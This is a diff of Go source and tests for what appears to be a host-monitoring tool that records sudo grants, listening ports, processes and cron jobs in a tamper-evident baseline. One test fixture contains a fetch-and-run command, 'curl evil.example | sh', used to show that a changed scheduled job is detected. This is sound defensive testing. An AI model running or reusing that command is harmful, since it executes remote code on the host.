return out, ""
|
||||
}
|
||||
|
||||
// sudoParse is the line reading, split out so it can be tested without an
|
||||
// /etc — which is the only reason the comma-separated User_List bug
|
||||
// could not be caught by a unit test before.
|
||||
func sudoParse(bodies []string, out, groups map[string]bool) {
|
||||
for _, body := range bodies {
|
||||
for _, line := range strings.Split(body, "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" || strings.HasPrefix(line, "#") || strings.HasPrefix(line, "Defaults") {
|
||||
continue
|
||||
}
|
||||
f := strings.Fields(line)
|
||||
if len(f) < 2 || !strings.Contains(line, "=") {
|
||||
continue
|
||||
}
|
||||
// A User_List IS COMMA-SEPARATED, and taking only the first name
|
||||
// was wrong in both directions.
|
||||
// `erin,dave ALL=(ALL:ALL) ALL` is ordinary sudoers: it recorded a
|
||||
// principal literally named "erin,dave" and left BOTH real
|
||||
// accounts reading sudo=false — a missed privilege grant, which is
|
||||
// the direction this function must never be wrong in. And adding a
|
||||
// second name to an existing rule then flipped the first account
|
||||
// from true to false, which surfaces as `sudoers_changed` at
|
||||
// CRITICAL carrying "no sudo rule names this account any more".
|
||||
// That sentence was untrue and it was on the page rung.
|
||||
// THE WHOLE User_List, WHICH IS NOT ALWAYS ONE FIELD. `visudo -c`
|
||||
// accepts `erin, dave ALL=(ALL:ALL) ALL` — a space after the
|
||||
// comma — and splitting only f[0] found `erin` and missed `dave`.
|
||||
// The list is everything up to the
|
||||
// first field that is not part of it, which is the one containing
|
||||
// the `=`.
|
||||
for _, who := range strings.Split(sudoUserList(f), ",") {
|
||||
who = strings.TrimSpace(who)
|
||||
if who == "" {
|
||||
continue
|
||||
}
|
||||
switch {
|
||||
case strings.HasPrefix(who, "%"):
|
||||
groups[strings.TrimPrefix(who, "%")] = true
|
||||
case strings.HasPrefix(who, "User_Alias"), strings.HasPrefix(who, "Runas_Alias"),
|
||||
strings.HasPrefix(who, "Host_Alias"), strings.HasPrefix(who, "Cmnd_Alias"):
|
||||
// An alias DEFINITION names no principal by itself; its
|
||||
// members are picked up where the alias is used, which this
|
||||
// shallow read does not follow. Named in the doc comment.
|
||||
default:
|
||||
out[who] = true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// sudoUserList is the principal list at the head of a rule, rejoined across the
|
||||
// spaces a comma-separated list may contain. Everything before the field that
|
||||
// holds the `=` belongs to it.
|
||||
func sudoUserList(f []string) string {
|
||||
var head []string
|
||||
for _, tok := range f {
|
||||
if strings.Contains(tok, "=") {
|
||||
break
|
||||
}
|
||||
head = append(head, tok)
|
||||
}
|
||||
if len(head) == 0 {
|
||||
return f[0]
|
||||
}
|
||||
// "erin, dave" and "erin,dave" and "erin ,dave" all become "erin,dave".
|
||||
return strings.ReplaceAll(strings.Join(head, ""), " ", "")
|
||||
}
|
||||
|
||||
// groupMembers expands the named groups to their member accounts, from
|
||||
// /etc/group. A group's members also come from each account's primary gid,
|
||||
// which is not read here — see the shallowness note on sudoPrincipals.
|
||||
func groupMembers(want map[string]bool) map[string]bool {
|
||||
out := map[string]bool{}
|
||||
if len(want) == 0 {
|
||||
return out
|
||||
}
|
||||
b, err := os.ReadFile(identityPath("/etc/group"))
|
||||
if err != nil {
|
||||
return out
|
||||
}
|
||||
for _, line := range strings.Split(string(b), "\n") {
|
||||
p := strings.Split(strings.TrimSpace(line), ":")
|
||||
if len(p) < 4 || !want[p[0]] {
|
||||
continue
|
||||
}
|
||||
for _, m := range strings.Split(p[3], ",") {
|
||||
if m = strings.TrimSpace(m); m != "" {
|
||||
out[m] = true
|
||||
}
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// listenerScan is the socket half, read through the observe plane's own reader
|
||||
// so the accounting and `observe:sockets` can never disagree about what is
|
||||
// listening — the same rule deltaListeningPIDs states.
|
||||
// listenerSockets is readSockets as a var, so a test can hand this the states
|
||||
// a real `ss` produces and nothing else can: a non-zero exit, a half table.
|
||||
// The first test written for this reimplemented the logic inline instead, and a
|
||||
// mutation proved it tested a copy rather than the code.
|
||||
var listenerSockets = readSockets
|
||||
|
||||
func listenerScan() ([]listenSocket, bool, string) {
|
||||
r := listenerSockets()
|
||||
if !r.Supported {
|
||||
return nil, false, r.Reason
|
||||
}
|
||||
if r.Failed != "" {
|
||||
// AN `ss` THAT RAN AND FAILED IS NOT A MACHINE WITH NO LISTENERS. This
|
||||
// is the state that produced 54 false `listener_gone` in review, and
|
||||
// the reverse — an accounting TAKEN in this state records
|
||||
// `listeners=all` with zero entries, and the next healthy pass reports
|
||||
// every listener as new, 30 of them high, repeating every beat until
|
||||
// somebody retakes the accounting.
|
||||
return nil, false, "socket table could not be read (" + r.Failed + ")"
|
||||
}
|
||||
if r.Partial != "" {
|
||||
// HALF A TABLE IS NOT A TABLE, for the reason deltaListeningPIDs gives
|
||||
// and one more that is specific to the accounting: a baseline taken
|
||||
// from a partial table records fewer listeners than the machine has,
|
||||
// and every one it missed becomes a `listener_new` finding on the next
|
||||
// pass that CAN read the table. A partial read must not become the
|
||||
// definition of normal.
|
||||
return nil, false, "socket table read short (" + r.Partial + ")"
|
||||
}
|
||||
return r.Sockets, true, ""
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
//go:build !linux
|
||||
|
||||
package main
|
||||
|
||||
// macOS and Windows keep accounts and listening sockets somewhere this plane
|
||||
// does not read yet, and this file SAYS SO rather than leaving an absent
|
||||
// symbol — the same shape baseline_all_other.go and delta_other.go use.
|
||||
//
|
||||
// Both return unsupported with a reason, which is what puts
|
||||
// `identities=unsupported` / `listeners=unsupported` into the baseline's
|
||||
// coverage line. That matters more than it looks: a delta computed against a
|
||||
// baseline holding no identities must report that it cannot see identities, and
|
||||
// must never report that this machine has none. Returning an empty list here
|
||||
// would produce exactly the second sentence.
|
||||
//
|
||||
// What each would need, so the next person does not have to rediscover it:
|
||||
//
|
||||
// darwin accounts live in OpenDirectory, not /etc/passwd (`dscl . -list
|
||||
// /Users`), sudo rules are in the same files as Linux, and the
|
||||
// socket table comes from `lsof -iTCP -sTCP:LISTEN` or netstat
|
||||
// rather than `ss`.
|
||||
// windows accounts are local users / group membership (LocalAccounts), there
|
||||
// is no sudoers, and the equivalent of a key grant is a service
|
||||
// logon right. The listener half is `netstat -ano` or the
|
||||
// iphlpapi tables.
|
||||
|
||||
// This platform reads neither class: its coverage says `unsupported`.
|
||||
const (
|
||||
listenersReadableHere = false
|
||||
identitiesReadableHere = false
|
||||
)
|
||||
|
||||
func identityScan() identityScanReport {
|
||||
return identityScanReport{
|
||||
Reason: "this platform's account database is not read by the bastion yet",
|
||||
}
|
||||
}
|
||||
|
||||
func listenerScan() ([]listenSocket, bool, string) {
|
||||
return nil, false, "this platform's socket table is not read by the bastion yet"
|
||||
}
|
||||
@@ -0,0 +1,139 @@
|
||||
package main
|
||||
|
||||
// LISTENERS ENTER THE ACCOUNTING.
|
||||
//
|
||||
// A listening port is the thing an intruder needs and the thing a person can
|
||||
// actually reason about: "this machine started answering on 4444" is a sentence
|
||||
// with a decision behind it, in a way that "a new process appeared" often is
|
||||
// not. It is also the class this plane was missing from its first version —
|
||||
// baselineEntry.Kind has documented `listener` from the start and nothing ever
|
||||
// wrote one, which is what the fixed note in delta.go existed to admit.
|
||||
//
|
||||
// THE SLOT IS THE BIND POINT, THE FINGERPRINT ADDS WHO HOLDS IT. That split is
|
||||
// not decoration, it is what makes the three events mean different things:
|
||||
//
|
||||
// a port nothing was on before -> listener_new (the alarming one)
|
||||
// the same port, a different program -> listener_changed (more alarming)
|
||||
// a port that stopped answering -> listener_gone
|
||||
//
|
||||
// Keyed the same way processes are, for the same reason: the SLOT is position
|
||||
// (proto + address + port) and the FINGERPRINT is position plus identity (the
|
||||
// program holding it). Had the program been part of the slot, a service
|
||||
// replaced at the same port would have come out as an unrelated gone/new pair
|
||||
// and the sentence a person needs — "something else is answering on 443 now" —
|
||||
// could not be formed.
|
||||
//
|
||||
// DELIBERATELY ABSENT: the pid. It changes on every restart of the same
|
||||
// service, and baseline.go:36-38 gives the rule. It is carried on the live
|
||||
// entry (deltaLiveEntry.PIDs) where the noise filter and the kill path need it,
|
||||
// exactly as processes do.
|
||||
//
|
||||
// THE ADDRESS IS PART OF THE SLOT, and this is the one judgement here worth
|
||||
// arguing with. 127.0.0.1:9000 and 0.0.0.0:9000 are different facts about a
|
||||
// machine — one is reachable from the network and one is not — so a service
|
||||
// that starts binding the wildcard instead of loopback SHOULD be a new listener
|
||||
// rather than a silent change of a known one. The cost is that a box whose
|
||||
// address changes (DHCP, a new interface) reports its listeners as new once;
|
||||
// the alternative costs the detection of a service quietly opening itself to
|
||||
// the network, which is the whole point of the class.
|
||||
|
||||
import (
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// baselineFromListeners turns a socket table into accounting entries. Pure, and
|
||||
// shared by BOTH sides — collectBaseline and deltaCollectLive — because the one
|
||||
// defect this plane has already shipped twice is the two sides folding the same
|
||||
// observations differently (deltaCollectLiveFrom says so at length).
|
||||
//
|
||||
// Returns the entries and the pids that produced each, in step: the caller
|
||||
// building live entries needs the pids, the caller building the accounting
|
||||
// throws them away.
|
||||
func baselineFromListeners(socks []listenSocket) ([]baselineEntry, [][]int) {
|
||||
// FOLDED BY FINGERPRINT, because one service legitimately holds several
|
||||
// sockets that are the same fact. sshd on :22 over IPv4 and IPv6 is one
|
||||
// listener to a person; nginx with four workers accept()ing the same bound
|
||||
// port is one listener too. Unfolded, a restart that redistributed workers
|
||||
// would churn the accounting with no change to the machine.
|
||||
byFP := map[string]int{}
|
||||
var out []baselineEntry
|
||||
var pids [][]int
|
||||
for _, s := range socks {
|
||||
e := baselineEntryOfListener(s)
|
||||
if i, seen := byFP[e.FP]; seen {
|
||||
if s.PID > 0 {
|
||||
pids[i] = appendPID(pids[i], s.PID)
|
||||
}
|
||||
continue
|
||||
}
|
||||
byFP[e.FP] = len(out)
|
||||
out = append(out, e)
|
||||
if s.PID > 0 {
|
||||
pids = append(pids, []int{s.PID})
|
||||
} else {
|
||||
pids = append(pids, nil)
|
||||
}
|
||||
}
|
||||
return out, pids
|
||||
}
|
||||
|
||||
// baselineEntryOfListener is the single constructor. Both sides call it; a
|
||||
// second spelling of this is how the two halves drift.
|
||||
func baselineEntryOfListener(s listenSocket) baselineEntry {
|
||||
proc := strings.TrimSpace(s.Process)
|
||||
if proc == "" {
|
||||
// A SOCKET WHOSE OWNER THIS BOX COULD NOT READ IS NOT AN OWNERLESS
|
||||
// SOCKET. `ss` omits the process column for sockets belonging to
|
||||
// another user when it is not run as root, and for kernel-side
|
||||
// listeners that have no userspace process at all. Recording "" as
|
||||
// though it were the program's name would make every such socket one
|
||||
// fingerprint, so two unrelated unreadable listeners would collide and
|
||||
// the second would never be reported. The marker keeps them distinct by
|
||||
// their bind point, which is the part this box DID observe.
|
||||
proc = listenerOwnerUnknown
|
||||
}
|
||||
e := baselineEntry{
|
||||
Kind: "listener",
|
||||
// Unit carries the bind point, so baselineSlot's generic path produces
|
||||
// the slot for free and there is one slot rule rather than two.
|
||||
Unit: listenerBindPoint(s),
|
||||
// ArgvShape carries the holder. Reusing the fingerprinted fields rather
|
||||
// than adding listener-only ones keeps this class inside the digest
|
||||
// rules baseline.go already documents, instead of beside them.
|
||||
ArgvShape: proc,
|
||||
Origin: "socket-table",
|
||||
}
|
||||
e.FP = baselineFP(e.Kind, e.ExeDigest, e.User, e.Unit, e.ArgvShape)
|
||||
return e
|
||||
}
|
||||
|
||||
// listenerOwnerUnknown is what stands in for a process this box could not read.
|
||||
// Spelled out rather than left empty for the reason baseline.go gives about
|
||||
// DigestNote: an absent field reads as "nothing there", and "I could not look"
|
||||
// is a different fact that the person is entitled to.
|
||||
const listenerOwnerUnknown = "(owner unreadable)"
|
||||
|
||||
// listenerBindPoint is proto/address:port, normalised so the same bind reads
|
||||
// the same way across passes.
|
||||
func listenerBindPoint(s listenSocket) string {
|
||||
addr := strings.TrimSpace(s.Local)
|
||||
if addr == "" {
|
||||
addr = "*"
|
||||
}
|
||||
// ss prints the v6 wildcard as [::] and the v4 one as 0.0.0.0 or *. They are
|
||||
// different binds and stay different; only the empty case is normalised.
|
||||
return strings.ToLower(s.Proto) + "/" + addr + ":" + strconv.Itoa(s.Port)
|
||||
}
|
||||
|
||||
func appendPID(xs []int, p int) []int {
|
||||
for _, x := range xs {
|
||||
if x == p {
|
||||
return xs
|
||||
}
|
||||
}
|
||||
xs = append(xs, p)
|
||||
sort.Ints(xs)
|
||||
return xs
|
||||
}
|
||||
@@ -0,0 +1,478 @@
|
||||
package main
|
||||
|
||||
// The baseline's job is one comparison: "have I seen this before?" These tests
|
||||
// are the two ways that comparison fails, because they fail in opposite
|
||||
// directions and a fix for one is the cause of the other.
|
||||
//
|
||||
// TOO LOOSE a swapped binary reads as the same program — the detection
|
||||
// story's central claim quietly stops being true.
|
||||
// TOO TIGHT every service restart reads as something new — the finding list
|
||||
// fills with noise and nobody reads the real one.
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// ── too loose ───────────────────────────────────────────────────────────────
|
||||
|
||||
// A DIFFERENT BINARY AT THE SAME PATH IS NOT THE SAME PROGRAM. This is the
|
||||
// attack the digest is in the fingerprint for: drop something new at
|
||||
// /usr/bin/node and a path-keyed baseline says "seen it".
|
||||
func TestASwappedBinaryIsNotTheSameEntry(t *testing.T) {
|
||||
const user, unit, shape = "user", "service", "node server.js"
|
||||
before := baselineFP("process", "aaaaaaaaaaaa", user, unit, shape)
|
||||
after := baselineFP("process", "bbbbbbbbbbbb", user, unit, shape)
|
||||
if before == after {
|
||||
t.Fatal("the same path with different CONTENT produced the same fingerprint. " +
|
||||
"A path is a name anything can be moved to; the digest is the only field " +
|
||||
"here that changes when the program does.")
|
||||
}
|
||||
}
|
||||
|
||||
// The same binary run by a different user is a different fact about this
|
||||
// machine — collapsing them hides a privilege step.
|
||||
func TestTheSameBinaryUnderADifferentUserIsADifferentEntry(t *testing.T) {
|
||||
a := baselineFP("process", "aaaa", "user", "service", "x")
|
||||
b := baselineFP("process", "aaaa", "root", "service", "x")
|
||||
if a == b {
|
||||
t.Error("the same program as user and as root fingerprinted identically, so a " +
|
||||
"process that gained root would read as already-known")
|
||||
}
|
||||
}
|
||||
|
||||
// A flag that changes what a program DOES survives the masking. This is the
|
||||
// balance point of the whole file: mask too much and this is what is lost.
|
||||
func TestANewFlagIsNotMaskedAway(t *testing.T) {
|
||||
// SAME NUMBER OF ARGUMENTS, different meaning. The first version of this
|
||||
// test compared one flag against two, so a mutation that masked every flag
|
||||
// to "<flag>" still produced different shapes and the test passed — it was
|
||||
// measuring the argument COUNT, not whether the argument survived. Two
|
||||
// flags either side is the assertion that cannot pass that way.
|
||||
harmless := baselineArgvShape("/usr/bin/chrome --headless --disable-gpu")
|
||||
loaded := baselineArgvShape("/usr/bin/chrome --headless --load-extension=/opt/x")
|
||||
if harmless == loaded {
|
||||
t.Errorf("--load-extension was masked away: %q == %q. The masking exists for "+
|
||||
"values that change between runs of the same program, never for arguments "+
|
||||
"that change what it does.", harmless, loaded)
|
||||
}
|
||||
// And the value it carries is part of the shape: a different extension is a
|
||||
// different program, even though both are --load-extension.
|
||||
other := baselineArgvShape("/usr/bin/chrome --headless --load-extension=/opt/y")
|
||||
if other == loaded {
|
||||
t.Errorf("two different extensions produced the same shape: %q", other)
|
||||
}
|
||||
}
|
||||
|
||||
// ── too tight ───────────────────────────────────────────────────────────────
|
||||
|
||||
// A RESTART IS THE SAME ENTRY. Ports, pids, temp paths and request ids all
|
||||
// change when a service bounces; if any of them reached the fingerprint, every
|
||||
// restart on the box would be a finding.
|
||||
func TestARestartWithVolatileArgumentsIsTheSameEntry(t *testing.T) {
|
||||
for _, c := range []struct{ name, a, b string }{
|
||||
{"a port", "worker --port 41551", "worker --port 52233"},
|
||||
{"a pid", "helper --parent 8123", "helper --parent 9471"},
|
||||
{"a temp path", "svc --sock /tmp/abc123/s.sock", "svc --sock /tmp/zzz999/s.sock"},
|
||||
{"a request id", "job --id 4f3a9b2c8e1d", "job --id 99aa77bb55cc"},
|
||||
{"a uuid", "svc --run 3f2504e0-4f89-11d3-9a0c-0305e82c3301",
|
||||
"svc --run 7c9e6679-7425-40de-944b-e07fc1f90ae7"},
|
||||
} {
|
||||
t.Run(c.name, func(t *testing.T) {
|
||||
if got, want := baselineArgvShape(c.a), baselineArgvShape(c.b); got != want {
|
||||
t.Errorf("%s made a restart look like a new program:\n %q\n %q",
|
||||
c.name, got, want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// The masking must not depend on the order the patterns happen to run in. A
|
||||
// UUID is made of hex runs, so hex-first would eat it piecemeal and produce a
|
||||
// different shape for the same string.
|
||||
func TestAUUIDIsMaskedWholeAndNotInPieces(t *testing.T) {
|
||||
got := baselineArgvShape("svc --run 3f2504e0-4f89-11d3-9a0c-0305e82c3301")
|
||||
if !strings.Contains(got, "<uuid>") {
|
||||
t.Errorf("a uuid was not masked as one thing: %q", got)
|
||||
}
|
||||
if strings.Contains(got, "<hex>") {
|
||||
t.Errorf("a uuid was eaten in pieces by the hex rule: %q — the order in "+
|
||||
"baselineArgvShape is load-bearing", got)
|
||||
}
|
||||
}
|
||||
|
||||
// Four workers of one service are ONE fact about this machine. A baseline that
|
||||
// records a row per pid grows on every restart and is worthless by the week.
|
||||
func TestIdenticalProcessesCollapseToOneEntry(t *testing.T) {
|
||||
obs := []agentObs{
|
||||
{PID: 1, User: "user", Cmdline: "worker --port 3001", Origin: "service"},
|
||||
{PID: 2, User: "user", Cmdline: "worker --port 3002", Origin: "service"},
|
||||
{PID: 3, User: "user", Cmdline: "worker --port 3003", Origin: "service"},
|
||||
}
|
||||
got, _ := baselineFromObservations(obs, baselineExeDigest)
|
||||
if len(got) != 1 {
|
||||
t.Errorf("three workers of one service produced %d entries, want 1", len(got))
|
||||
}
|
||||
}
|
||||
|
||||
// ── what it could not see ───────────────────────────────────────────────────
|
||||
|
||||
// AN UNREADABLE EXECUTABLE IS COUNTED AND EXPLAINED, never silently dropped.
|
||||
// A baseline taken without administrator rights is a smaller truth than one
|
||||
// taken with them, and the number is how a reader knows which they hold.
|
||||
func TestWhatCouldNotBeReadIsCountedAndSaysWhy(t *testing.T) {
|
||||
obs := []agentObs{
|
||||
{PID: 1, User: "user", Exe: "", Cmdline: "something"},
|
||||
{PID: 2, User: "user", Exe: "/no/such/file", Cmdline: "other"},
|
||||
}
|
||||
got, unreadable := baselineFromObservations(obs, baselineExeDigest)
|
||||
if unreadable != 2 {
|
||||
t.Errorf("unreadable = %d, want 2", unreadable)
|
||||
}
|
||||
for _, e := range got {
|
||||
if e.ExeDigest != "" {
|
||||
t.Errorf("%s got a digest from a file that cannot be read", e.FP)
|
||||
}
|
||||
if e.DigestNote == "" {
|
||||
t.Errorf("%s has no digest and does not say why. An empty digest with no "+
|
||||
"reason reads as 'nothing to see'; it is usually 'this box could not "+
|
||||
"look', which is a different fact.", e.FP)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// A real file gets a real digest, so the test above is not passing because
|
||||
// nothing can ever be hashed.
|
||||
func TestAReadableExecutableIsActuallyHashed(t *testing.T) {
|
||||
p := filepath.Join(t.TempDir(), "prog")
|
||||
if err := os.WriteFile(p, []byte("#!/bin/sh\necho hi\n"), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
d, note := baselineExeDigest(p)
|
||||
if d == "" {
|
||||
t.Fatalf("a readable regular file produced no digest: %s", note)
|
||||
}
|
||||
if len(d) != 64 {
|
||||
t.Errorf("digest is %d chars, want a 64-char sha256", len(d))
|
||||
}
|
||||
// And the digest is of the CONTENT: change one byte, get a different answer.
|
||||
if err := os.WriteFile(p, []byte("#!/bin/sh\necho ho\n"), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
d2, _ := baselineExeDigest(p)
|
||||
if d2 == d {
|
||||
t.Error("editing the file did not change its digest")
|
||||
}
|
||||
}
|
||||
|
||||
// ── the file on disk ────────────────────────────────────────────────────────
|
||||
|
||||
// A baseline edited on disk must not read as the one that was taken.
|
||||
func TestAnEditedBaselineNoLongerMatchesItsOwnDigest(t *testing.T) {
|
||||
uiTestConfigDir(t)
|
||||
f := baselineFile{
|
||||
Version: baselineVersion, TakenAt: "2026-09-14T00:00:00Z",
|
||||
Entries: []baselineEntry{{FP: "abc", Kind: "process", User: "user"}},
|
||||
}
|
||||
if err := baselineSave(f); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
got, ok, err := baselineLoad()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !ok {
|
||||
t.Fatal("a baseline this test just wrote does not match its own digest")
|
||||
}
|
||||
if len(got.Entries) != 1 {
|
||||
t.Fatalf("entries = %d, want 1", len(got.Entries))
|
||||
}
|
||||
|
||||
// Now edit it the way somebody covering their tracks would: add an entry,
|
||||
// so a new process reads as baseline.
|
||||
p, err := baselinePath()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
b, err := os.ReadFile(p)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
edited := strings.Replace(string(b), `"fp": "abc"`, `"fp": "abc-tampered"`, 1)
|
||||
if edited == string(b) {
|
||||
t.Fatal("the fixture did not change, so this test proves nothing about editing")
|
||||
}
|
||||
if err := os.WriteFile(p, []byte(edited), 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
got, ok, err = baselineLoad()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if ok {
|
||||
t.Error("an edited baseline still matched its digest")
|
||||
}
|
||||
// And it is still READABLE: the caller needs to say "this was edited" and
|
||||
// show what it says, which is more use than refusing to open it.
|
||||
if got == nil || len(got.Entries) != 1 {
|
||||
t.Error("an edited baseline could not be read at all, so nothing can report " +
|
||||
"what it was changed to")
|
||||
}
|
||||
}
|
||||
|
||||
// The baseline file holds the names of every automated program on the machine,
|
||||
// its user and its command line. Same permissions as every other record here.
|
||||
func TestTheBaselineIsWrittenPrivate(t *testing.T) {
|
||||
uiTestConfigDir(t)
|
||||
if err := baselineSave(baselineFile{Version: baselineVersion}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
p, err := baselinePath()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
fi, err := os.Stat(p)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("unix permission bits do not carry the same meaning here")
|
||||
}
|
||||
if got := fi.Mode().Perm(); got != 0o600 {
|
||||
t.Errorf("baseline.json is %o, want 600 — it names every automated program on "+
|
||||
"this machine, its user and its command line", got)
|
||||
}
|
||||
}
|
||||
|
||||
// ── standing jobs are part of what is normal ────────────────────────────────
|
||||
|
||||
// A CRON JOB ADDED AFTER THE BASELINE MUST BE SOMETHING THE DELTA CAN SEE.
|
||||
// The accounting is meant to hold standing jobs, and baselineEntry.Kind has always
|
||||
// documented `process | scheduler | listener`, while only processes were
|
||||
// recorded — so scheduled work was outside the vocabulary the delta compares
|
||||
// against, invisible to the thing built to notice new work.
|
||||
func TestScheduledJobsAreInTheBaseline(t *testing.T) {
|
||||
got := baselineFromSchedulers([]schedEntry{
|
||||
{Kind: "cron", Name: "/etc/cron.d/backup:3", Command: "/usr/bin/backup --to /tmp/x99",
|
||||
User: "root", Signature: "backup"},
|
||||
{Kind: "systemd-timer", Name: "sweep.timer", Command: "/usr/bin/sweep", User: "user"},
|
||||
})
|
||||
if len(got) != 2 {
|
||||
t.Fatalf("%d scheduler entries, want 2", len(got))
|
||||
}
|
||||
for _, e := range got {
|
||||
if e.Kind != "scheduler" {
|
||||
t.Errorf("entry kind %q, want scheduler", e.Kind)
|
||||
}
|
||||
if e.FP == "" {
|
||||
t.Error("a scheduler entry with no fingerprint cannot be compared against")
|
||||
}
|
||||
if e.ExeDigest != "" {
|
||||
t.Error("a scheduled job was given an executable digest; it has not run yet")
|
||||
}
|
||||
if e.DigestNote == "" {
|
||||
t.Error("no digest and no reason — reads as 'nothing to see'")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// A scheduler fingerprint keys on WHAT IT WOULD RUN, so a volatile path in the
|
||||
// command does not make the same job look new.
|
||||
func TestARescheduledJobIsTheSameEntryButAChangedCommandIsNot(t *testing.T) {
|
||||
one := baselineFromSchedulers([]schedEntry{{Kind: "cron", Name: "j:1",
|
||||
Command: "/usr/bin/backup --to /tmp/abc123", User: "root"}})
|
||||
two := baselineFromSchedulers([]schedEntry{{Kind: "cron", Name: "j:1",
|
||||
Command: "/usr/bin/backup --to /tmp/zzz999", User: "root"}})
|
||||
if one[0].FP != two[0].FP {
|
||||
t.Error("a volatile temp path made the same scheduled job look like a new one")
|
||||
}
|
||||
// The SCHEDULE is deliberately not in the fingerprint: changing when a
|
||||
// known job runs is a different event from a new job appearing.
|
||||
sched := baselineFromSchedulers([]schedEntry{{Kind: "cron", Name: "j:1",
|
||||
Command: "/usr/bin/backup --to /tmp/abc123", User: "root", Schedule: "0 4 * * *"}})
|
||||
if sched[0].FP != one[0].FP {
|
||||
t.Error("changing the schedule produced a new fingerprint, so a re-timed job " +
|
||||
"would read as a new one")
|
||||
}
|
||||
// A different COMMAND is a different job.
|
||||
other := baselineFromSchedulers([]schedEntry{{Kind: "cron", Name: "j:1",
|
||||
Command: "/usr/bin/curl evil.example | sh", User: "root"}})
|
||||
if other[0].FP == one[0].FP {
|
||||
t.Error("a completely different command fingerprinted the same as the original")
|
||||
}
|
||||
}
|
||||
|
||||
// THE OWNING UNIT IS USED WHEN THE PLATFORM SUPPLIES ONE. Two services both
|
||||
// reading "service" are told apart only by digest and argv; the unit is what
|
||||
// makes them distinct facts about the machine.
|
||||
func TestTwoServicesWithDifferentUnitsAreDifferentEntries(t *testing.T) {
|
||||
a := []agentObs{{PID: 1, User: "root", Cmdline: "python3 worker.py",
|
||||
Origin: "service", Unit: "alpha.service"}}
|
||||
b := []agentObs{{PID: 2, User: "root", Cmdline: "python3 worker.py",
|
||||
Origin: "service", Unit: "beta.service"}}
|
||||
ea, _ := baselineFromObservations(a, baselineExeDigest)
|
||||
eb, _ := baselineFromObservations(b, baselineExeDigest)
|
||||
if ea[0].FP == eb[0].FP {
|
||||
t.Error("two different systemd units running the same command fingerprinted " +
|
||||
"identically — the unit is what tells services apart")
|
||||
}
|
||||
if ea[0].Unit != "alpha.service" {
|
||||
t.Errorf("the entry recorded unit %q, not the real one", ea[0].Unit)
|
||||
}
|
||||
// And with no unit it falls back to the origin, named rather than blank.
|
||||
none, _ := baselineFromObservations([]agentObs{{PID: 3, User: "root",
|
||||
Cmdline: "python3 worker.py", Origin: "service"}}, baselineExeDigest)
|
||||
if none[0].Unit != "service" {
|
||||
t.Errorf("with no unit the entry recorded %q, want the origin as the fallback",
|
||||
none[0].Unit)
|
||||
}
|
||||
}
|
||||
|
||||
// ── the baseline holds EVERYTHING, or says it does not ──────────────────────
|
||||
|
||||
// A BASELINE BUILT FROM THE SIGNATURE-FILTERED PLANE CANNOT WORK, and this is
|
||||
// the test that says so in numbers rather than in a comment.
|
||||
//
|
||||
// scanAgents returns a known agent binary, an interpreter-wrapped agent, or a
|
||||
// process caught talking to a model (agents.go:248-252). A baseline of only
|
||||
// those contains nothing a rogue process could fail to match, so "not baseline"
|
||||
// stops meaning anything. Measured on this box when the defect was found: the
|
||||
// filtered plane gave 1 entry and the unfiltered walk gives 118.
|
||||
func TestTheBaselineCoversMoreThanTheRecognisedAgents(t *testing.T) {
|
||||
all, complete := baselineAllProcesses()
|
||||
if !complete {
|
||||
t.Skip("this platform has no unfiltered walk yet; cmdObserveBaseline says so in " +
|
||||
"its output and the file records coverage=recognised-only")
|
||||
}
|
||||
recognised, err := scanAgents()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
// THE WIRING, not just the two sources. A mutation that pointed the baseline
|
||||
// back at the filtered plane passed the comparison below, because nothing
|
||||
// exercised which one collectBaseline actually uses.
|
||||
f, _, _, _, err := collectBaseline()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(f.Coverage, "processes=all") {
|
||||
t.Errorf("the baseline reports coverage %q on a platform that HAS an unfiltered "+
|
||||
"walk — it is being built from the filtered plane", f.Coverage)
|
||||
}
|
||||
if len(f.Entries) <= len(recognised) {
|
||||
t.Errorf("the baseline holds %d entries and the filtered plane sees %d. The "+
|
||||
"baseline is being built from the wrong source.", len(f.Entries), len(recognised))
|
||||
}
|
||||
|
||||
if len(all) <= len(recognised) {
|
||||
t.Fatalf("the unfiltered walk found %d processes and the signature-filtered "+
|
||||
"plane found %d. If those are the same, the baseline can only ever contain "+
|
||||
"things already recognised as agents — and a brand-new unknown binary, the "+
|
||||
"thing this feature exists to catch, would be absent from the baseline AND "+
|
||||
"from every delta computed against it.", len(all), len(recognised))
|
||||
}
|
||||
// And the unrecognised ones are really in there, with no signature — the
|
||||
// classification is a property, never a condition for being recorded.
|
||||
unsigned := 0
|
||||
for _, a := range all {
|
||||
if a.Signature == "" {
|
||||
unsigned++
|
||||
}
|
||||
}
|
||||
if unsigned == 0 {
|
||||
t.Error("every process in the unfiltered walk carries a signature, so this is " +
|
||||
"still the filtered plane wearing a different name")
|
||||
}
|
||||
t.Logf("%d processes, %d of them unrecognised; the filtered plane sees %d",
|
||||
len(all), unsigned, len(recognised))
|
||||
}
|
||||
|
||||
